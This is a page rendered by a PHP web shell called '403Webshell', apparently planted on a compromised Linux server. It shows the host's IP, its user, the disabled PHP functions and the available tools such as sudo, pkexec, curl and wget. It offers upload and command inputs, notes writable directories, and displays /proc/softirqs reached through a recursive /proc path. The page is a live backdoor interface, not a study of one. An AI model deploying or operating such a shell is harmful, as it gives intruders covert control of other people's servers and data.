403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1/root/proc/thread-self/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1/root/proc/thread-self/root/proc/thread-self/root/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
          HI:          7         25         27          8          1          2          6         23        164          9          1          1
       TIMER:  119872294  197663089  210166217   53620470   42086624   39254153   98490596  117033120  178770568   39317437   56552717   42468430
      NET_TX:     289060     314004   20968705    1612618    1429637    4438282   22320721    1271755     200908    3801613   21887832    9754800
      NET_RX:    2507079    3657620  524114691   34897429   45502091  128569164  523810658   18457244    2873467   84919316  522696490  223397981
       BLOCK:      38265      29929      28289      10246      15012      31302      14731      17929      15642      37106      12660      34823
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:        589       8091   48512893    3048294    4008163   11079191   50099163    1768415      37347    8310041   50975199   21656317
       SCHED: 2060128360  964858911  753489569  359619648  206898083  166724671  370829571  468150126  488717719  139430364  152520270  135988984
     HRTIMER:        168        274      19152        725       1060       3653      16913        210        133       1926      12063       5241
         RCU:  353298594  428209046  431990076  244303432  187771232  186414801  349956642  427219410  420095947  178863277  178824874  174657200

Youez - 2016 - github.com/yon3zu
LinuXploit